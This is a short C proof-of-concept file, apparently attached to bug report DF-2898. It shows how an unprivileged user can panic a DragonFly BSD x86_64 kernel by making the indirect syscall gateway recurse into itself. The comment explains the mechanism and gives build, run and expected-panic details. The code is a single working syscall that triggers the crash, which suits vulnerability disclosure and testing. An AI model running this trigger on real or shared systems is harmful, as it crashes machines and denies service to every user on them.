/* DF-2898 — minimal trigger: unprivileged kernel panic via the indirect
 * syscall gateway recursing into itself.
 *
 * libc syscall() on DragonFly x86_64 issues rax=SYS___syscall(198) with the
 * caller's `number` left in RDI (no register shuffle; see
 * lib/libc/x86_64 stubs: `mov $198,%rax; syscall`).  The kernel's
 * sys_xsyscall() then dispatches sysent[tf_rdi].  Passing number=0
 * (SYS_syscall) — or 198 — makes it dispatch sysent[0]/sysent[198] =
 * sys_xsyscall AGAIN, which re-reads the same tf_rdi: unbounded kernel
 * recursion on the 16KB kernel stack -> stack-guard double fault -> panic.
 *
 * build:  cc -O0 -o trigger trigger.c
 * run:    ./trigger          (as any unprivileged user)
 * expect: kernel panics: "DOUBLE FAULT - KERNEL STACK GUARD HIT!",
 *         "panic: double fault", rip=sys_xsyscall+0x84, rsp=<guard page>.
 */
#include <sys/syscall.h>

int main(void)
{
	/* one line, any user, deterministic panic */
	return (int)syscall(SYS_syscall, 0);
}